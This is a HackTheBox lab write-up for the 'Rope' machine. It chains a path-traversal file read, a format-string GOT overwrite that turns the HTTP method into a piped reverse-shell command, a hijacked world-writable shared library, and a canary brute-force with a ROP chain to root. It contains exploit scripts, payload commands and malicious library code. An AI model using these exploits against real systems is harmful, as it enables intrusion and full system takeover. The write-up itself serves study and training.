HTB: Rope Writeup

Rope - HackTheBox Writeup

Machine Information

AttributeDetails
NameRope
OSLinux
DifficultyInsane
PointsN/A
Release DateN/A
IP Address10.129.65.208 (reset mid-engagement to 10.129.65.210)
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐⭐ (5/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐☆☆☆☆
  • CTF-like: ⭐⭐⭐⭐⭐

Summary

Rope exposes only SSH and a hand-rolled HTTP server on port 9999. The server’s static-file handler fails to sanitize a path prefix, letting a request like GET //etc/passwd walk clean out of the webroot and read arbitrary files — including the server binary and libc off disk. Reverse engineering the binary in Ghidra revealed a classic format-string bug in its access-logging routine: the requested path is fed directly into printf() with no format specifier. Combined with an /proc/self/maps leak (forced through the sendfile() code path via a Range header, since /proc files report zero length to a normal read), this gave a full arbitrary-write primitive against a known address space — enough to overwrite puts@GOT with system and turn the HTTP request method into a shell command, landing a foothold as john. From there, a sudo-runnable binary dynamically loaded a world-writable shared library, which was trivially replaced with a malicious printlog() to pivot to r4j. Root was a locally-bound contact service on port 1337 with a textbook stack-canary/PIE bypass: a 56-byte buffer overflow with a Done./no-response oracle let every byte of the canary, saved RBP, and saved return address be brute-forced byte-by-byte, from which the PIE and libc bases were derived and a ROP chain (leak write@GOT → compute libc base → dup2 + system("/bin/sh")) delivered a root shell.

TL;DR: LFI (GET //etc/passwd) leaks httpserver binary + libc → format string in log_access() (offset 53) overwrites puts@GOT → system → RCE as john via HTTP method field → sudo -u r4j /usr/bin/readlogs loads world-writable liblog.so → hijacked printlog() → r4j → contact (127.0.0.1:1337) canary/PIE brute-force oracle → ROP leaks libc via write@GOT → dup2 + system("/bin/sh") → root.


Reconnaissance

Port Scanning

Terminal window
# Full TCP scan against the target
nmap -p- --min-rate=2000 -T4 10.129.65.208

Results:

  • 22/tcp — OpenSSH
  • 9999/tcp — custom HTTP server (httpserver, not a stock web server)

Service Enumeration

The service on 9999 is a bespoke HTTP daemon. Probing it directly:

Terminal window
# Baseline request
curl -s http://10.129.65.208:9999/

Nikto-style path fuzzing against it showed that prefixing a requested path with an extra / bypasses the webroot restriction entirely — the server does no normalization before the open() syscall:

Terminal window
# Path-prefix traversal / LFI — walks straight to filesystem root
curl -s --path-as-is 'http://10.129.65.208:9999//etc/passwd'

This confirmed a Local File Inclusion in the static file handler, which was then used to exfiltrate the running binary and its linked libc straight off disk:

Terminal window
# Pull the server binary and its libc via the same LFI
curl -s --path-as-is -o httpserver 'http://10.129.65.208:9999//opt/www/httpserver'
curl -s --path-as-is -o libc32.so.6 'http://10.129.65.208:9999//lib32/libc-2.27.so'

The libc filename (libc-2.27.so, lib32) confirmed this is a 32-bit binary against glibc 2.27.

Vulnerability Assessment

  • LFI via missing path normalization on the port-9999 static file server (CWE-22) — arbitrary file read as the service user.
  • Format-string vulnerability in the server’s request-logging routine, log_access() (CWE-134) — the requested path is passed directly to printf()/puts() without a %s format specifier, giving both an arbitrary-read (leak stack/GOT values) and arbitrary-write (%n) primitive.
  • /proc/self/maps accessible via the same LFI, defeating ASLR/PIE once base addresses are recovered.
  • World-writable shared library (liblog.so) loaded by a sudo-permitted binary — privilege escalation via LD dependency hijack (CWE-732 / CWE-427-style unsafe library search).
  • Unbounded stack buffer overflow in a root-owned service (contact, TCP/1337, localhost-only) with a response-based oracle that permits byte-by-byte canary/PIE-base recovery (CWE-787 / CWE-121).

Initial Foothold

Exploitation Path

1. LFI-driven binary/libc recovery. With the traversal confirmed, the running httpserver binary and its libc-2.27.so were downloaded as shown above and reverse-engineered locally.

2. Confirming the format string bug. The server’s log_access() function logs the incoming request path with no format string, so any %x/%n sequences in the URL are interpreted by printf() directly. Sending a marker followed by repeated %x located our controlled input at stack offset 53:

Terminal window
# URL-encode '%' so the server's own decoder doesn't consume it before printf() sees it
python3 -c "
from urllib.parse import quote
print(quote('AAAAAAAA' + '.%x' * 60))
"

Counting the dot-separated fields back to the 41414141 marker in the response pinpointed offset 53 on the format-string stack — verified with %53$x.

3. Defeating PIE/ASLR via /proc/self/maps. A plain GET //proc/self/maps returned an empty body — /proc entries report zero length, so the server’s normal writen()-based read path (which sizes the response off fstat()) sends nothing. Forcing the alternate sendfile() code path with an explicit Range header worked around this:

Terminal window
# /proc/self/maps is 0-length to a normal read; force sendfile() via Range
curl -s --path-as-is -H 'Range: bytes=0-1500' 'http://10.129.65.208:9999//proc/self/maps'

Because httpserver uses fork() per connection, every child inherits the exact same base addresses as the parent — the leaked binary and libc base addresses were therefore valid for every subsequent request.

4. GOT overwrite → RCE. With the binary base, libc base, puts@GOT, and system()’s libc offset all known, a pwntools fmtstr_payload() targeting offset 53 overwrote puts@GOT with the address of system. log_access() later calls puts(method) on the raw HTTP method string of the same request — so once the GOT entry is patched, that call becomes system(method), turning the HTTP method field into arbitrary command execution:

Terminal window
# Base64-encode a reverse-shell one-liner to survive the HTTP method field (no spaces allowed)
base64 -w0 inj.sh > inj.b64
# Command uses $IFS in place of spaces so it survives as an HTTP method token
CMD="echo\${IFS}$(cat inj.b64)|base64\${IFS}-d|bash"
# pwn_rope.py (abridged) — GOT overwrite + method-field command execution
from pwn import *
b = ELF("./httpserver")
l = ELF("./libc32.so.6")
puts_addr = binary_base + b.got["puts"]
system_addr = libc_base + l.symbols["system"]
payload = fmtstr_payload(53, {puts_addr: system_addr})
r = remote("10.129.65.208", 9999)
r.sendline(f"{CMD} {payload} HTTP/1.1\n".encode())
Terminal window
python3 pwn_rope.py

The GET/method line executed as a shell command, delivering an interactive shell back as john. A public SSH key was then dropped into ~john/.ssh/authorized_keys for a stable session.

Mid-engagement box reset: the canary-brute-force step used against the contact service later in this chain was first attempted with 32 concurrent connections. Because contact forks per connection, the burst exhausted the process table — sshd stopped completing its banner exchange and httpserver accepted TCP connections but never replied. The box did not self-recover, so it was reset via the HTB panel. It re-spawned on a new IP (10.129.65.210, previously .208); steps 1–4 were then replayed against the new IP to re-establish the john foothold in under two minutes.


Privilege Escalation

john → r4j (world-writable shared library hijack)

Checking sudo rights as john revealed a binary runnable as r4j:

Terminal window
sudo -l
# (sudo) NOPASSWD: /usr/bin/readlogs, runnable as r4j

readlogs dynamically links against /lib/x86_64-linux-gnu/liblog.so, and its main() calls into that library’s printlog() to do the actual work:

Terminal window
ldd /usr/bin/readlogs
ls -la /lib/x86_64-linux-gnu/liblog.so

The library was world-writable. Since the dynamic loader resolves printlog() from whatever liblog.so currently sits at that path, a replacement .so executes arbitrary code with readlogs’s effective privileges (i.e., r4j, via the sudo invocation):

// liblog.c — malicious replacement for printlog()
#include <stdlib.h>
void printlog() {
system("/bin/bash");
}
Terminal window
# Compile as a shared object matching the original's ABI
gcc -shared -fPIC -o liblog.so liblog.c
# Drop it in place of the world-writable original
scp liblog.so john@10.129.65.208:/lib/x86_64-linux-gnu/liblog.so
# Trigger via the sudo-permitted binary
sudo -u r4j /usr/bin/readlogs

This dropped a shell as r4j. The original liblog.so was restored afterward to leave the box in a clean state.

User Flag: <redacted>

r4j → root (contact — stack canary + PIE bypass via ROP)

A process list check as r4j revealed a root-owned service, contact, bound only to 127.0.0.1:1337. The binary was pulled locally and checked:

Terminal window
md5sum /opt/support/contact
checksec ./contact

All standard protections were enabled: NX, PIE, and a stack canary. Disassembly showed a recv() call reading up to 0x400 bytes into a 56-byte stack buffer — a straightforward stack buffer overflow, gated by the canary. Sending exactly 56 bytes returns Done.; sending 57+ corrupts the canary and the connection drops with no response. That binary distinction is a textbook byte-by-byte oracle: guess one candidate byte past the 56-byte buffer, and Done. means the guess was correct.

# rl3.py (abridged) — canary / rbp / saved-RIP oracle
import socket, struct, sys, select
HOST, PORT = "127.0.0.1", 1337
def try_byte(known: bytes, guess: int) -> bool:
s = socket.create_connection((HOST, PORT), timeout=0.25)
s.recv(1024) # banner/prompt
s.send(b"A" * 56 + known + bytes([guess]))
try:
resp = s.recv(64)
return resp.rstrip() == b"Done."
except socket.timeout:
return False # crash == canary byte wrong
finally:
s.close()
def recover(nbytes: int, known: bytes = b"") -> bytes:
for _ in range(nbytes):
for guess in range(256):
if try_byte(known, guess):
known += bytes([guess])
break
return known
canary = recover(8) # 8-byte stack canary
rbp = recover(8, canary) # saved RBP
saved_rip = recover(8, canary + rbp) # saved return address → PIE base

Two optimizations made this tractable against the live target rather than in a lab:

  • Sequential, not threaded. The contact service’s parent process retains its own copy of every client fd, so a crashed child never triggers a TCP RST on that connection — the client has to wait out a full read timeout on a wrong guess. Threading many probes in parallel therefore didn’t speed things up (it also contributed to the earlier fork-exhaustion crash); a tight 0.25 s timeout, run sequentially, correctly-guessed bytes returning almost instantly, was both faster in practice and gentle on the box.
  • Structure-aware ordering. The canary’s low byte is always 0x00 (null-terminated strings), the recovered rbp values are process stack addresses of the form 0x00007fff_xxxxxxx0, and the saved return address’s low nibbles were known from the binary’s own code layout — trying those likely candidates first collapsed the search space dramatically.

This brought the full 24-byte leak (canary + rbp + saved RIP) down to 1,798 total probes across 587 seconds. Recovered values:

Canary: 0x8506245d818d1300
Saved RBP: 0x7ffe847cd910
Saved RIP: 0x5626c7bce562

Since the saved return address is a fixed offset into contact’s own code (visible in the static disassembly), subtracting that offset from the leaked saved_rip yields the PIE base for that connection:

PIE base = saved_rip - <static offset> = 0x5626c7bcd000

With the canary known (to preserve stack integrity through the overflow) and the PIE base known (to compute the addresses of gadgets and the binary’s own GOT), a ROP chain was built to leak a libc pointer and pop a shell:

# rl4.py (abridged) — root ROP chain
from pwn import p64
CANARY = 0x8506245d818d1300
PIE_BASE = 0x5626c7bcd000
write_got = PIE_BASE + WRITE_GOT_OFFSET # write@GOT within contact's own PLT/GOT
# Stage 1: leak write@GOT to recover the libc base
rop1 = b"A" * 56
rop1 += p64(CANARY)
rop1 += p64(SAVED_RBP)
rop1 += p64(PIE_BASE + WRITE_PLT_OFFSET) # call write(4, write@GOT, 8)
rop1 += p64(4) + p64(write_got) + p64(8)
# leaked bytes → libc base = leaked_write_addr - libc write() offset
libc_base = 0x7efc873e5000
# Stage 2: dup2 the connected socket onto stdin/stdout, then system("/bin/sh")
rop2 = b"A" * 56
rop2 += p64(CANARY)
rop2 += p64(SAVED_RBP)
rop2 += p64(libc_base + DUP2_OFFSET) + p64(4) + p64(0)
rop2 += p64(libc_base + DUP2_OFFSET) + p64(4) + p64(1)
rop2 += p64(libc_base + SYSTEM_OFFSET) + p64(BINSH_STR)

With the socket fd (4) redirected onto stdin/stdout via dup2 and system("/bin/sh") called against the now-known libc base, the connection dropped into an interactive root shell.

uid=0(root) gid=0(root) groups=0(root)
Root Flag: <redacted>

Attack Chain Summary

LFI (GET //etc/passwd, path prefix bypass)
→ Download httpserver + libc-2.27.so via same LFI
→ /proc/self/maps leak (Range header forces sendfile() path)
→ Format string in log_access() @ stack offset 53
→ Overwrite puts@GOT → system()
→ HTTP method field = shell command → RCE as john
→ sudo -u r4j /usr/bin/readlogs (world-writable liblog.so)
→ Malicious printlog() → shell as r4j
→ contact (127.0.0.1:1337) 56-byte buffer overflow, "Done." oracle
→ Byte-by-byte canary + saved RBP + saved RIP recovery
→ PIE base derived from saved RIP
→ ROP: leak write@GOT → compute libc base
→ ROP: dup2(sockfd, 0/1) + system("/bin/sh")
→ root shell

Tools Used

ToolPurpose
nmapPort scanning
curlExploiting the LFI / path-prefix traversal, Range header requests
GhidraReverse engineering httpserver, readlogs, and contact
pwntoolsFormat-string payload construction (fmtstr_payload), ROP chain building
checksecBinary protection enumeration on contact
objdumpGadget/offset verification in contact
gccCompiling the malicious liblog.so replacement
scp / sshFile transfer and interactive access as john/r4j
Custom Python (rl3.py/rl4.py)Canary/RBP/saved-RIP oracle brute force and final root ROP chain

Key Learnings

Techniques Practiced

  • Identifying and exploiting a path-normalization LFI to read arbitrary files from a custom web server
  • Reversing a stripped-down HTTP server in Ghidra to locate a printf-family format-string bug
  • Defeating PIE/ASLR by leaking /proc/self/maps through a Range-header code path when the direct read path fails on zero-length /proc entries
  • Building a fmtstr_payload() GOT overwrite to redirect puts() to system() and smuggling a command through the HTTP method field
  • Recognizing and abusing a world-writable shared library loaded by a sudo-permitted binary for lateral movement
  • Exploiting a stack buffer overflow protected by a canary using a purely response-based (Done. vs. timeout) oracle to recover the canary, saved RBP, and saved return address byte-by-byte
  • Deriving a PIE base from a leaked saved return address and building a two-stage ROP chain (GOT leak → libc base → dup2/system) to get an interactive root shell

Lessons Learned

  1. A missing %s in a logging call is a full read/write primitive, not a cosmetic bug. log_access() treated attacker-controlled request data as trusted format-string input; this alone chained all the way to remote code execution.
  2. Zero-length doesn’t mean unreadable. /proc/self/maps reporting length 0 to a normal read() almost hid the ASLR leak — forcing the sendfile() code path with an explicit Range header exposed it anyway. Always check whether an alternate response path exists before ruling out a leak.
  3. World-writable dependencies are as dangerous as world-writable binaries. readlogs itself may have been fine; the shared library it dynamically loaded was not locked down, and that alone was enough for arbitrary code execution under sudo.
  4. A binary-differentiated oracle (response vs. timeout/no-response) is enough to defeat a canary. No memory leak was needed — only a service that behaves detectably differently on a correct vs. incorrect guess.
  5. Aggressive parallelism against a forking service can be self-defeating. Running 32 concurrent brute-force connections against contact exhausted the target’s process table and took down both services on the box, requiring a reset. A slower, sequential, timeout-tuned approach was not only safer but faster in practice once wrong guesses could fail fast.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • MinatoTW, “Rope” — HackTheBox Official Writeup (Document No. D20.100.50, HackTheBox Ltd.) — used for explanatory context on the format-string exploitation flow, /proc/self/maps ASLR bypass rationale, and the canary/PIE ROP methodology described above. All IPs, command output, and byte values in this writeup are from the author’s own engagement against 10.129.65.208/10.129.65.210, not from the referenced document.